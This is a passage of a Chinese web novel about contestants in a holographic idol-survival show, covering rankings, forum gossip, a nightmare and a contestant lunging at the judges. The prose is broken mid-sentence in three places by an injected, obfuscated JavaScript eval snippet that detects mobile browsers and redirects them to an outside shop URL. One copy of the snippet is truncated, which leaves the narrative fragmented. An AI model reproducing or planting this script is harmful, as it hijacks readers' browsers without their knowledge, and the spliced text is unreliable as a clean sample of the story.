那段偏快、需要连音技巧等复杂处理的段落,由路和光的另一位队友全权包办,流畅感和专业度拉满。 然而,在路和光再次开口的时候,所有人又被夺走了注意力。 即使他技术约等于零,基本的换气都不太会,只是卡准了拍子,咬字清晰,外加直视镜头而已。 时遥差点被弹幕满地的裤子绊倒。 ——还有一些“嗷嗷”大叫着,不由分说冲上来,试图帮路和光扒他裤子的cp粉。 就像相比于舞蹈实力,观众首先看到的是脸一样。 感官刺激永远排在首位。 碍于随时可能出现在周围的巡航眼,时遥强行遏制住了表情的变化。 在结束后,他认真地跟随着人群鼓起掌来。 连一直没怎么出过声,存在感极低的声乐导师梁文书都忍不住开口夸了一句,顺带比了个真心实意的大拇指。 “路和光,不得不说,你的声音...是这个!” “给到夯!” “夯中夯!” “声如其人!” 紧随起来的是看台区练习生们的欢呼。 舞台前时遥想的那两种可能,被第三种所取代—— 路和光实力一般,但凭借一张脸和一把好嗓子,就成了话题中心。 想必队友们都是好人,为他安排了最适合施展天赋的唱段。 另一方面,以路和光接近一米九的身高,做动作比个头稍矮的人更费力,尤其是完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17602617|205637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全没有舞蹈基础的情况下,在队伍里很有可能因过高而显得突兀,甚至破坏队形。 但好就好在,来自父亲那一头的北欧血统发力了——和他一起的那对混血双胞胎楚氏兄弟,骨架大,个头都不矮。 而且,他的体力堪称时遥两辈子见过的人的巅峰。 《禁言》一首三分多钟的舞曲,他全程唱跳下来,居然完全不带喘的,别人出汗出成了水光肌,他顶着一张额角微湿的哑光妆面,用纸巾稍微压一压就能解决。 【路和光网上扒出来的资料里有没有说他报名之前是做什么的?】 【搜了一下,前五十里就他相关资料最少,有人猜是不是他有背景,捂得好。】 【我爸是康复科的医生,他说路和光的发力方式,看起来像接受过专业运动训练的。】 看到这条内容,时遥顿了顿。 他也早有怀疑,那些繁杂的线索迅速串联在一起,解开了他深埋心底的疑惑。 其实自己不是很容易对什么人感兴趣的类型,但路和光实在是太特殊了,不由自主地就对他产生了各式各样的揣测,从身份过往,到行为动机。 时遥不易察觉地甩了甩头。 “路和光。”傅延的声音截断了他的暗自思忖。 “你在来参加这个节目之前,接受过正式的,唱跳方面的训练吗?”他微笑着问。 路和光回答:“没有。” 他倒是坦坦荡荡。 “一天也没有?”导师都震惊地追问。 与现实世界不同,全息场景中练习生们并不知道自己在以潜意识参加选秀。 他们不清楚节目以直播为主,不是传统录播,不知道观众享有除名投票权。 在他们的认知里,这是分唱跳、硬照、演技和综艺四个赛段的《四栖选秀》,只是条件待遇好、自由度高、压力大。 每个人优势不同,各有擅长,但大家都知道第一轮就是唱跳。 就算之前毫无经验,也会在进入合宿基地前紧急训练几个月,至少打个基础,以求不要手忙脚乱,开场即出局。 偏有人不走寻常路。 路和光重复道:“一天也没有。” “为什么?” 路和光理直气壮:“报名报太急,没来得及学。” 傅延:“......” 饶是他这样的老狐狸,面对路和光的坦率同样没能绷住表情。 “方便告诉我们你来参加这个节目的目标吗?” 路和光:“追梦。” “梦?什么梦呢?想要站在灯光下,摄像机前的梦?或者想要成为明星的梦?”傅延继续根据弹幕的疑问循循善诱。 这次路和光认真地思考了一会儿。 “这个梦很模糊,我看不清具体的样子,只是一旦想到...”他指了指胸口,“身体某些部位会感觉到刺痛,心里有个声音在提醒我,这次不来会后悔一辈子。” “既然这样,我就必须得来试试了。” 他向上望着某个方向。 站在下陷的,最底端的舞台上,这里强光滚烫、逆光刺目,让人看不清最高处的景象,那个人正居高而望,一无所知地注视着自己。 想到那张脸上的冷淡表情,他心跳得更快。 路和光舔了舔嘴角,笑着补充了最后一句,“——路还长,我不着急。” 他这句话说得很真挚,甚至诚恳过了头,听在耳中难免显得夸张。 但态度决定一切。 弹幕里不少指责他在舞台上不够端正,无基础却不以为耻、反以为荣的内容,也消失了大半。 正经不过三秒,路和光举起了手: “还有件事。”他说。 “你说。” “刚才跳舞的时候,我的耳夹飞出去了。”路和光说,“如果节目组找到的话,麻烦还给我,这耳夹是前几天统一订购饰品的时候,我特地托选管买的。” “是单边的银色小耳环,非常重要。” 他在“非常重要”上加了重音,还点了点右耳朵,强调了一遍。 【你们觉得重要的真的是耳环吗家人们?】 【怎么感觉这人的主题不是耳环,是“我戴了耳环”呢?】 【让我想想谁天天在左边耳朵挂着个单边‘银色小耳环’?好难猜啊!】 【和时遥整上情侣耳环了是吧小哥哥?】 时遥:“?” 他还真没发现路和光今天戴了耳环,也是真的知道了什么叫“有糖硬嗑”。 比如现在。 虽这么想着,他还是轻轻地摸了摸左耳。 13.第 13 章 第二场初评级结束。 相较于第一场地狱级别的开局,这一场导师出奇的宽松和温和,待全部结束,出场的共67名练习生中,仅有12人无缘下一轮。 虽然淘汰的总人数是固定的,但这个数字无疑还是给了没出场的练习生几分继续努力下去的信心。 已临近午夜,天色黑沉。 回程的道路两侧,人工景观棕榈树被海面上吹来的风摇晃出“沙沙”的声响,在地面投下巨大、摇晃的剪影,显得怪诞恐怖。 练习生们拖着疲惫的身躯一哄而散,推推搡搡着回宿舍。 时遥跟随人群从演播厅离开时,回身望了一眼目前的排名情况。 今天被遗憾离场的共37名练习生已经全部被打上了“OUT”的标识,落到了最后。 慕戚打着呵欠从身后追上来。 他是少数几个对今晚初评级和排名都不怎么在意的人。 论坛有关于他的讨论帖,不少观众认为他来参加这个节目,纯粹是趁着高中毕业的暑假出来找人说说话,单纯的唱唱歌,顺其自然地被淘汰,三个月后回去上他的大学。 “砰——” 有人从身后重重撞了一下时遥的肩膀。 是林雪鸿。 他当然不知道自己目前在【除名投票榜】出局率排第二,只有直播霸凌的张皓文能比他更人人喊打一些,哪怕这一轮初评级成功晋级,也无力回天。 时遥这样想着,右脚看似随意地往前一伸,精准地勾住了对方刚刚迈出,正要落地的左脚脚踝。 “啊啊啊啊——!” 林雪鸿猛然失去平衡,狼狈地往前趔趄了好几步,一把抓住了路过的一名练习生,才得以站稳。 他还没来得及回头,时遥往前一个大跨步,抬腿又是一脚。 重重踹在对方最有肉的屁股上。 刚才险些被他抓掉外套的练习生迅速一躲,这次林雪鸿没了支撑,直接面朝地摔了个狗吃屎。 四面八方的人统统闻声看了过来。 时遥这一脚伤害性不高,但侮辱性极强,林雪鸿慌乱不已,忙拍着手掌上的尘土,撅着隐隐作痛的屁股,手脚并用地撑着地面站起身—— 大概是起得太急,还不慎踩到了外套的下摆,脚下又一个打滑。 隐约有笑声响起。 林雪鸿满脸涨得通红,刚一站稳就急着冲笑声传来的方向瞪去,试图找出出声的是谁,可惜这条路就这么宽,人不少,他左看右看,怎么都找不到目标。 只能猛一回头。 时遥正看着他。 双手揣兜,嘴角不带笑,目光就这么笔直下落。 一盏暖调的行道灯就悬在他头顶,光线朦胧,隐可见空气中漂浮的尘埃与飞舞的蚊虫。 死亡顶光在他脸上制造出了极深的阴影,连带着浓墨重彩的眉眼,与毫无血色跟杂质的肤色相映衬,割裂出了极度黑白分明的洁净。 这种洁净本身,就具有强烈的排他性和攻击性。 “咕咚——” 林雪鸿狠狠咽了一口口水。 不知是不是心理作用,后脑勺和眼眶,都莫名隐隐作痛。 “你!” 时遥微微抬了抬下巴,示意他说下去。 林雪鸿条件反射地捂住后颈。 “你等着!”他左思右想,恨恨留下一句威胁的话,拔腿飞快地跑了。 他消失在了夜色里。 “你小心一点啊时遥。”后边有个练习生小声提醒了一句,往前小跑了三四步,“他之前就特别看不惯你,上报选管哭诉你对他进行肢体威胁,还说要在初评级舞台的时候给你一个下马威。” 时遥回头看他。 一张有点眼熟的脸,上辈子应该至少留到了第三轮的演技比拼部分,但名字一时间想不起来。 他略一颔首:“多谢你。” 待那名练习生离开,慕戚有点担心地看了看时遥:“我觉得他是对的。” “他可能会伤害你。”他又说。 时遥说:“无所谓。” 最讽刺的一件事,也是他的经验之谈: 完美的好人人设,在这种节目里并不占优势——无论是出于“圣人羞辱”的心理,期待“神格崩塌”的扭曲期待,还是身处“真善美”巅峰境界的无趣... 造神毁神的流程看了许多次,他可不想给自己在节目里塑出一尊脆弱的玻璃金身。 况且,林雪鸿就算在舞台上就破罐子破摔,又有多少可信度呢? 时遥想着,看了看慕戚:“你倒是也不担心林雪鸿表演摆烂影响你的评级?” “我觉得导师打分,不看舞台实力。真的。他们不看小组表演,至少不完全是。他们还在看...其他的。”慕戚谨慎地,慢吞吞地说,“可能外貌、性格,还有...Vibe——” 时遥:“氛围感。” 慕戚:“嗯,氛围感,还有人气什么的,也会算在内吧。” 他还帮着找补了半句,“...对,我懂。运气,还有招人喜欢,这些也是一种实力。” 时遥拍了拍他的肩。 慕戚虽然有时候佛得让人头疼,但看事情也算是一针见血。 他颇有些冷幽默地想,或许是因为这小子本身就昼伏夜游,像个吸血鬼的缘故吧。 第一天的初评级,就这么还算稳定地度过。 时遥沐浴洗漱结束,在床上躺下,习惯性地刷看论坛。 论坛里关于路和光嗓音的帖子如雨后春笋,甚至还单独划分出了声音专区,在今天普遍没什么高话题度的上位圈练习生出场的情况下,毫无意外,他就是最大的热度。 颜控狂喜,声控振奋,颜控与声控的一体机恨不得在尖叫楼喊出十万层,票数也自然而然地暴涨了一番。 但是,谁能告诉他,为什么今晚的热搜还有自己的事? 满打满算,今天时遥的镜头加起来不超过一分钟。 1.路和光嗓音 2.时遥对路和光反应 3.时遥路和光同框 4.时遥家属笑容 5.路和光的梦想 ...... 第二条是他们的cp粉自发将路和光在舞台上时,时遥的所有镜头剪辑拼接在一起,编辑慢镜头,配背景乐,塑造出他望着路和光、温柔注视、欣慰微笑、充满爱意的氛围。 至于第三条,是在第一场掐断直播的前几秒,镜头下观看席的截图。 那时候路和光的确搬着他的小粉板凳坐在自己隔壁。 所有人动用一切手段,从各种角度分析“路和光坐在时遥旁边的可能性”。 时遥突然想起了今天勾起他好奇心的那个点。 于是在论坛里手动搜索了【路和光张皓文】,很快,6月11日四区直播的内容跳了出来。 从视频区一路往下拉,有《路和光脚踹张皓文全cut》不意外,他甚至还搜到了《【精校拼音】真相!路和光踹人全过程乃为爱制裁!》。 时遥:“......” 这不是中文节目吗?先不说后边的那个“为爱制裁”,前边【】里的内容是怎么回事? 谭峰和鞠天明通过了初评级,现在无事一身轻,刚才回来时还高高兴兴地对时遥二人说了“加油”,此时纷纷准备去洗澡,一边愉快地哼着小曲: “这个世界就是这么奇怪,你不要去猜~哦~” 时遥在拉着长音、变换着一二三四声四个声调的“哦”的尾音里打开了那个【精校拼音】的视频。 就像之前猜测的那样,说是随情绪而动,巡航眼们却在开播前,精准锁定了各个区域最高人气的四位练习生。 东森区的画面一闪,赫然出现的就是路和光沿小径前行的身影。 他刚刚踏上一条悬空的木栈道。 这条栈道,时遥去东森区的时候经过过,狭窄陈旧,遍布苔藓的痕迹,下方平摊开着隐秘的林下沼泽。 还能看见有梅花鹿在浅水洼前低头饮水。 他与迎面走来的人狭路相逢。 恰好是张皓文。 这场直播的前一天,他刚在时遥手下吃瘪,回去越想越气,恨不得立刻去西海区找人算账。 可身边的那些“小弟”连哄带劝,字里行间都是让他消消气,不要贸然和时遥这种看着不好惹,人气又高的选手对着干,甚至还有个人觉得应该和时遥搞好关系,说不定能在未来和他有个cp,再不济多蹭几个镜头... 张皓文心高气傲,之前又有拍戏经验,本就自诩高人一等,做着能把其他人全都淘汰,问鼎出道组的美梦。 但在素人居多的这个节目里,他这种自带粉丝的人,排名却非常不理想。 别说前十了,他连前一百都挤不进去。 从这段视频画面截止目前的内容来看,两方似乎没有产生冲突的必然理由。 直到下方冒出了字幕。 时遥暂停视频读了一遍。 原来如此。 “时遥那个¥&*@!#...” 后方一连串的官方消音。 这个视频的制作者明显看过原直播,用一大串拼音将他粗俗不堪,自言自语的脏话统统在下方标注。 无非是各种问候时遥的亲属,再上升他本人,连带着那些生生死死的诅咒。 林间嘈杂,鸟雀叽啾,加上当时的风声喧嚣,时遥怀疑,大部分人就算戴上耳机,也需要把音量调到最大,才能听见张皓文的声音。 紧接着。 两个人在这条充其量能容纳两个成年男性并行的空间,擦肩而过。 路和光看似礼貌地贴着栈道边缘,侧身避让。 在张皓文背对自己的下一秒,顺势抬腿,一脚精准地踹在了对方的屁股上。 如果有人看了这个视频,还见证过刚才时遥对林雪鸿的所作所为,会发现两个人抬腿踢人的动作几乎完全一致,连踹上的部位都惊人的相似。 这一脚力度绝对不小。 栈道没有任何护栏,张皓文甚至来不及惊呼。 “扑通——” 他面朝下,像只扑腾的鸭子一般,徒劳地乱抓着空气,一头扎进了下方的浅水沼泽中。 松软的黑泥瞬间没过大半个身子,泥浆飞溅,挣扎着试图爬出来的张皓文,只能越陷越深。 “救...” 路和光在他的求救中头也不回地走了。 他的身影消失在林间的下一秒,视频结束。 发布视频的ID数字是44。 这个数字隐约有些眼熟,时遥努力回忆,它居然是当初爆料过6月11日四区临时直播的那个ID。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17611011|205637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 果然,官方还是会在论坛里释出一批水军和职粉带动风向,引导观众的。 时间已经不早。 时遥整理了一下今天的杂物,看见了一张背面不均匀地贴满了各式各样胶带的纸张,是今天路和光托其他练习生送来的—— 明明能自己跑来西海区的看台,这人为什么非要托其他人单独送一张“情书”来给自己。 此时的时遥还不知道,那名练习生据说是整个节目中最能也最爱搜集八卦,并到处传播的一位。 他拉开抽屉,将那张纸折叠了塞进储物盒。 里边还有一大瓶褪黑素,已经吃了一小半,旁边搁着几板铝塑板包装的白色小药片,目前他只吃过一颗。 他摁了摁太阳穴,迟疑了一下,还是将手伸向了褪黑素。 * 身体深处,传来一声近得可怕的闷响。 像某根一直紧绷的弦,终于断了。 落地的那个刹那,最先感到的不是疼。 左侧的支撑突然消失了,他的重心轰然崩塌。 跌落、跪砸在地,他满目血色。 镜头还在精准地追随着他,时遥本能地试图撑起身体,却无济于事,那只脚彻底不再属于他一般,软塌塌地... 歪折下去。 “时遥怎么了?” “摔了?” “——确认状态。” “时遥,能站吗?” “时遥?回复。” “......” “队友别扶他!别动他的脚!” 有人倒吸一口冷气。 “操!” 耳返里沉稳的声音爆了声粗口。 “别起来!” “医护上!快!” “全景!切全景!” “暂停主镜头!” ...... “时遥!” “砰砰砰。” “时遥!” “砰砰砰!” “时遥你快起来啊!” 清晰的砸门声,伴随着外边慕戚焦急的呼喊一同传到耳畔。 像是从水底浮出水面,时遥挣扎着,拼了命地醒来。 天已经亮了。 或许是频繁查看论坛并不是件好事,也可能是昨晚他擅自加大了服用褪黑素的药量。 他睡着了,噩梦却变得更长、更深、更连续。 有些事情不太对,他清楚那其实是个梦,可是梦境不肯轻易放过他。 慕戚在外边敲了半天的门,里边却丝毫没有回应。 “难道他不在房间?要不我们试着开门看看?”谭峰提出意见。 慕戚拧了拧把手,门紧紧锁着。 “要不让他再睡会儿?反正你俩今天也不上台,晚点去也没事吧?”鞠天明问。 慕戚点了点头,又摇了摇头。 下一秒,他们终于听见了从房间里传来的,时遥的声音: “...我没事。” 出奇的喑哑、虚弱,和以往时遥清亮且辨识度极高的嗓音截然不同。 “真没事?” “......” “时遥?” “真没事。” 外边的人稍稍放心,大概是认定时遥只是做了个噩梦。 他也确实“只是”做了个噩梦。 时遥深吸一口气,支撑着莫名酸痛的身体,伸手摸到床头柜上的杯子。 他抿了两口水,缓解了一下发紧的喉咙,手掌不自觉地又去握住自己的脚踝。 闭着眼睛都能确认的那些伤疤的位置上,现在什么都没有。 骨头亦安稳地待在原本的位置。 如果重生不是一场意外,那么他衷心地,诚恳地,感谢这个重来一次的机会。 换上制服从宿舍出来,海风吹在脸上,稍稍缓解了和梦境打架带来的晕厥和不适。 时遥又伸手按压太阳穴。 这个带来了前世一切荣耀与不幸的选秀正式启动,可以预想,接下来的几天恐怕也会很难熬。 不过,到了现场之后,他被一个消息稍稍震惊了几秒。 “路和光,晕厥?他干什么了?练习过度?低血糖?” “过敏...应该是。”慕戚也不确定,“说是在宿舍,吃早饭的时候,没吃多少就倒下了。” 时遥:“!” “他们说,路和光有十七种东西过敏,一直都不怎么在外面吃。食堂都是看他的单子,专门找能用的材料做饭。” 时遥震撼:“多少?” “呃,十七个。”慕戚掰手指,“他吃了巧克力燕麦杯,里面正好有...花生。” 时遥:“......” 慕戚说着说着把自己给说饿了,忍不住舔了舔嘴唇:“...我想吃巧克力了。” 时遥:“既然专门根据他的食谱做饭,为什么还会过敏?” 慕戚:“呃,可能是食堂的叔叔阿姨,失误了?” 时遥掰了掰手指,骨节“咔哒”一响。 ——能过敏到沾了一点就晕厥的程度,服用过多,极有可能危及生命。 节目组的目的不简单,某些设计也带着恶意,却也不会赤.裸裸地设计人去死。 而带着潜意识的恶在节目里厮杀的练习生,可就说不准了。 14.第 14 章 第二天的两场初评级,时遥从第一天的第十排,挪到了第五排。 可能是方便他更近距离地... 看笑话。 前有接受不了淘汰跪地磕头,求再给一次机会。 后有被导师说了句“实力不够”当场痛哭流涕,一屁股坐在舞台彻底崩溃。 接下来,还有成功入选后围着舞台一通狂奔,模仿足球选手把上衣直接脱了,打算往看台甩的; 队友晋级而自己没有,当场在台上揭对方短,爆料私人信息,只求拖人下水的... 简直是热闹非凡,堪称人类行为大赏。 第四场的第三组,更是贡献了一场大戏。 舞台副歌和声部分破音失误,两名主唱当场开始互相推诿,都指责是对方影响了完成度,差点没直接揪着领子大打出手。 体面人含量几乎为零。 没人会放弃观看这样的乐子。 从直播间节节攀升的在线人数可见一斑。 “看样子我没错过最精彩的部分哇。”有个声音悠悠地传到耳边。 时遥回过头。 据说早上因过敏晕厥的路和光,居然出现了。 由于现在是第十排,他一路找找停停的姿态又太过于自在,以至于站在时遥旁边的时候,前后左右的人的注意力都不自觉地集中到了二人身上。 一时间,他俩成了目前最好看的风景线。 时遥不是多低调不争的人,但也没有在不该有的时间成为视线中心的爱好。 路和光把自带的小塑料凳放在他隔壁。 上次那个粉色,这次换成了蓝色。 注意到时遥的目光,他笑着解释:“觉得这个颜色更适合你。” 时遥:“...我喜欢白色和黑色。” 路和光一愣,然后飞快地接话:“好的我记下来了,一定不会忘记,下次就找白或者黑。” 时遥:“那如果没有呢?” 路和光:“我可以坐在你...” 时遥盯着他。 路和光:“...旁边的桌子上。” 时遥注意到他眼尾微坠,有种还没有睡够的倦怠,越看越觉得脸上还笼罩着一层病气。 他犹豫了一下要不要针对过敏问一句什么。 但没等他想清楚,路和光居然在他沉默的注视下率先移开了眼睛,看向前方。 “所以...现在是怎么回事?”他问。 时遥跟着望过去。 目前正在进行的,是第四场的第四个小组,按照国人的迷信说法,数字“4”本身就不太吉利,而这组的练习生,从视觉上来说有自己的“独特之处”。 【这组是不是...?嘶。】 【没上除名榜吗?这些年大家对这种脸这么宽容了?】 【静态公式照还行,看到3D全身的动态照就想说了,有些人对自己蛮狠的。】 【不是,这么吓人的吗?】 【整商不太行啊哥几个。】 【硅胶怪。】 【大刀阔斧!】 弹幕里的欲言又止、阴阳怪气,最后开始人身攻击说明一切。 毕竟是男色时代、全民选秀,大部分参赛选手的容貌焦虑极强,在节目前稍稍对脸动点手脚不是什么稀罕事。 在舞台的打光下,适当的美颜和磨皮效果,这些问题也都是可以削弱的。 可这里的演播现场,最高清的数十米大屏内,很多痕迹无法遮掩。 比如站在最左边的练习生,乍一看也是挑不出错的俊俏帅哥,可现在,在努力唱跳三分多钟的那张红润、流汗的脸上,开得不够克制的内眼角,暴露出过多的肉红色泪阜,看着极为不自然。 再比如站在最右边的那一位,刚才飙高音时就初见端倪的,苹果肌诡异的肿胀和断层,现在大口喘着气,注射的痕迹更是无法掩饰,就像往里塞了两块圆石。 中间那位还有严重透光的下巴和歪斜的鼻梁。 在动过脸的人里,他们这批的痕迹算是最严重的。 时遥有些怀疑,这些练习生的组队,是否是节目组彻底背调后的刻意为之。 ——谁说这种直播节目不能通过剪辑带节奏“献祭”某些人?这不就来了? “在脸上的花费预算太低就这个下场。” 冷不丁的,一道声音飘到了耳畔。 时遥:“?” 他循声看过去。 今天他的位置,在西海区这一排的最左侧,和旁边的北雾区隔着台阶与走廊。 恰好有个穿了北雾区白色训练服的高个子练习生,正一路下行。 他说这句话的时候,又正好在时遥隔壁,因此声音不算太大,也能听得清晰。 “钱啊,该花的时候就得花,蠢货。” 他又补充了一句,摇了摇头,送给时遥一个悠哉的背影,一路溜达着在斜对角北雾区的第四排坐下。 商汲安这小子...幸好现在巡航眼不在附近,否则除名排行榜上的支持率又要上涨了。 一只手伸了过来。 戳了戳时遥的肩膀。 时遥回过头。 路和光:“看我,看我,不要随便眼神乱瞟,往那些外面的满嘴都是‘钱钱钱’,很市侩的莺莺燕燕花花草草身上飘。” 时遥沉默着抵着路和光的前额,将他稍稍推远了几分。 路和光本来就是胡言乱语,此时也不就这个话题继续,只顺势换了个问题: “我很好奇一件事。” 时遥:“什么?” “你觉得在这种节目里...整容算一种‘作弊’吗?这几年观众要求变高,对‘天生丽质’的需求越来越强了。” 时遥:“不算,我从来不觉得这是什么问题。” 余光瞥见弹幕的内容,为了形成对比,巡航眼貌似被人为操控着,在他们这几个以颜值大吸粉的练习生周围转了几个圈,这种拿场内和场外的他们当对照组的行为,自然也是节目组的恶趣味。 路和光:“嗯?我以为你会很鄙夷这类人呢。” 要不是清楚他与其他练习生一样,对这个世界的认知存在偏差,时遥真的会以为,他专门在巡航眼紧盯着时问这种问题,是在给自己输出观点铺台阶。 这么想着,他顺势摇了摇头:“花心思让自己变得更好看本来就是职业素养,观众喜欢不喜欢是个人偏好,自己想不想动是本人自由,这两件事不矛盾,也轮不到我来指手画脚。” 当然,打死不承认还自称天然帅哥就是撒谎,被揭穿就受着。 【他说话怎么这么酷!】 【好清醒好理智好冷酷又好温柔的一套说辞。】 【一点爹味也没有好评!】 时遥没有继续说下去,点到为止。 他稍稍试探,弹幕大部分人没有因这段话而产生负面评价,就知道成功把自己“不关心、不干涉、不越界”的态度植入了观众对他的认知深处。 路和光:“但是?” 他问出这个问题的下一秒,巡航眼离开了。 【等等?路和光为什么在这里?你们没人关心这点吗?】 【镜头给我回来!我要知道时遥说了什么!】 【差评!导播差评!】 时遥:“但是,下赛段他们要非常努力。” 唱跳赛段的妆造和打光非常重要,实力与表现力也能“舞台整容”,普通人亦可以惊艳,可硬照拍摄环节,这种填充过度,或留有整容痕迹的脸,往往很难驾驭严苛的镜头审判。 譬如,在系统设计出的各种超出预期的天气和环境下瞬时抓拍,人为加工后的脸会产生违和感,无异于大型“处刑现场”。 别说观众了,可能整形者本人都不能接受那时候自己的样子。 时遥话刚出口,就意识到他犯了个小错误。 果不其然,路和光敏锐地捕捉到了关键:“下赛段要非常努力?你知道下面的考核内容是什么?” 时遥:“我猜的。” 除去这个淘汰人数极多的初评级,接下来的四个赛段各有两轮,节目组只公开粗略的顺序,其余的规则统统都是空白。 论坛里有专门讨论猜测的专区,但无人知晓真正的内容。 除去上辈子经历过一次的时遥。 他不可能实话实说,只抬起手,掸了掸路和光肩上压根不存在的灰尘。 说来也神奇,路和光这种时不时喜欢找个地方靠着,看着懒洋洋的人,居然选了立领款的制服。 时遥的手指擦过硬挺的裁剪,和其上镶嵌的,哑光黑的金属扣,它们将人严丝合缝地包裹进一身禁欲中去。 台上的人开始哭诉了。 从倾诉自己对外貌的不自信,到开始对自己的脸动手,甚至逐渐上瘾的心路历程。 时遥没兴趣听这煽情又没法给本人加分的环节。 他问:“你之前怎么回事?” 路和光:“嗯?” 时遥简单地说:“过敏。” 提起这个,路和光的表情不明显地暗了暗,但依旧是笑着的:“也没什么,就是可能有些人知道我花生过敏,在今天早上的燕麦杯里加了花生蛋白...我不小心吃下去咯。” “有些人?” “是啊。”路和光看着他,“担心我?” 时遥懒得和他在这个问题上推拉:“你知道是谁吗?” 路和光:“放心。” 在这种潜意识的世界,“放心”这两个字并不是很让人放心。 时遥想说什么,但最后还是没有说。 “倒是你,才让人不放心呢。”路和光打量着他。 时遥没懂他的意思。 路和光抬起手,迅速在时遥眼下淡淡的阴影上刮了一下。 “虽然这样更性感了,但睡眠不足可是个大问题。”他说,“为什么不好好睡觉呢?” * “哇,这组就两个人了?” 第四场的第八组登台的时候,观众中一阵骚动。 正如大家所见,在节目“随机”分组的情况下,分配到怎样的队友全靠运气,林雪鸿那样的固然可恶,像第八组这样原本四个人,居然被退赛了两位的情况,也属实罕见。 “之前那个高中俩女友的劈腿男就是他们组的。”后边有人大声喊了一句。 时遥记得那件事,那位练习生排名涨势喜人,一小时能往上走几十位,结果黑历史曝光,宿舍还没住习惯,就被勒令滚蛋,比陈嵩民还要早。 至于剩下的二人,外形上的差异挺大。 “我是商汲安,主唱定位——商人汲取是为了安稳,可以这么记我的名字。” 从外形上来说,商汲安身形挺拔如松,长相古典,自带面如冠玉、目若朗星的大家风范,在“鹤立鸡群”的鹤群中,也属实出类拔萃。 上辈子商汲安的粉丝很爱吹嘘他有魏晋名士的清高与傲骨。 然而。 时遥从没见过比这人更爱钱的存在。 “你那个莺莺燕燕花花草草上台了。”路和光在时遥耳边小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620243|205637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声说。 时遥:“...这里站不下那么多人。” 三分钟,说长不长,说短也不短。 舞台深陷于演播厅中央,距离第一排地面足有三四米深,导师席则介于这二者中间。 但炫目的灯光,和LED材质的墙壁、阶梯及桌椅呈现出的华丽效果,削弱了舞台“困兽斗场”般的危机感。 “商汲安,晋级。” “洪傲天,出局。” “很遗憾。” “希望你再接再厉,我相信,未来还会在万众瞩目的地方再次看到你。”傅延重复着已说了两天四场的结束语。 商汲安手抚左胸,优雅却也很“装”地点头表达感谢。 他看也没看身边的同伴一眼,转身下台,甚是潇洒。 被剩下的,叫洪傲天的练习生,已经捏紧了拳头。 他出生前后,恰好是小说界“龙傲天”形象再次复苏的几年,从这个名字,也能多少知道他父母对他寄予厚望。 可是,在这个舞台上,被无数双眼睛注视着,他失败了。 屈辱和怨恨不带半分阻碍地直轰上大脑,他死死盯住导师席上,刚刚宣判了他最终结局的,高高在上的男男女女们,直直冲了过去。 台阶距离很远,他也压根没打算正常走路。 下一秒—— “砰——” 他整个人扑了上去。 光滑的,全息模拟出的世界,没有一丝真实的物理缝隙,一时找不到受力点。 只是,“半途而废”早已从这个被歇斯底里的情绪彻底控制的人的大脑里消失,他开始疯狂地在那平滑,却无比坚硬的表面上抓挠,手脚并用地往上攀爬。 “吱——呀呀——” 令人牙根发酸的打滑声。 “嗬嗬...” 他的喉咙里牵扯出了某种野兽一般的粗砺喘息声,动作机械地在壁面上爬动。 ——特定情绪被触发后,理智尽失,连体面也彻底被剥夺的人类,本身就是野兽。 这突兀的画面震惊了全场。 数秒内,几乎所有人都陷入了无法反应过来的呆滞。 弹幕也吓傻了。 最先被波及的导师席一阵骚乱。 傅延抓起面前厚厚的资料夹,做好了防范。 梁文书惊得原地站起,连连后退,差点没被身后的座椅绊倒。 “啊啊啊啊——” “呀!” 同一时间发出惊呼的还有隔壁的rap导师林修远,以及隔壁的舞蹈导师韩若晴,这一对帅哥美女双双花容失色。 综合实力导师许旭稍显镇定,但也做好了摁下【紧急弹出】按钮的准备。 当洪傲天如同一只丧尸般,指甲掀开,拖曳出血痕,真的要翻上导师席所在的高台时—— “啪。” 沉闷的撞击声。 旁人甚至来不及反应那道精准砸中他肩头的黑影是什么,只看见对方发出“嗷”的吃痛声,重心被瞬间砸偏。 一头栽回了舞台。 “叮当。” 击中他的物品落下,在地面弹跳了两下,发出清脆的金属音。 姗姗来迟的工作人员一拥而上。 如果当初那个替路和光传递“情书”的练习生离得近,一定能看出,那正是他之前在心里暗戳戳质疑“带来现场到底有什么用”的折叠刀。 坐在第一排的张皓文也发现了。 洪傲天的待遇显然比他好点,刀刃至少被折了进去。 而北雾和西海区间的一层最下方台阶,此时站了个高个子的青年。 肤色是冷感的白,眉眼是墨染的黑。 ——全息空间外的技术大厅监视大屏,能将画面的所有细节看得一清二楚。 全部的巡航眼都毅然放弃了原本拍摄的内容,争先恐后地在他周围聚拢,如飘散的蒲公英,每一朵都对准了他。 那画面甚至有些诡异的... 唯美? 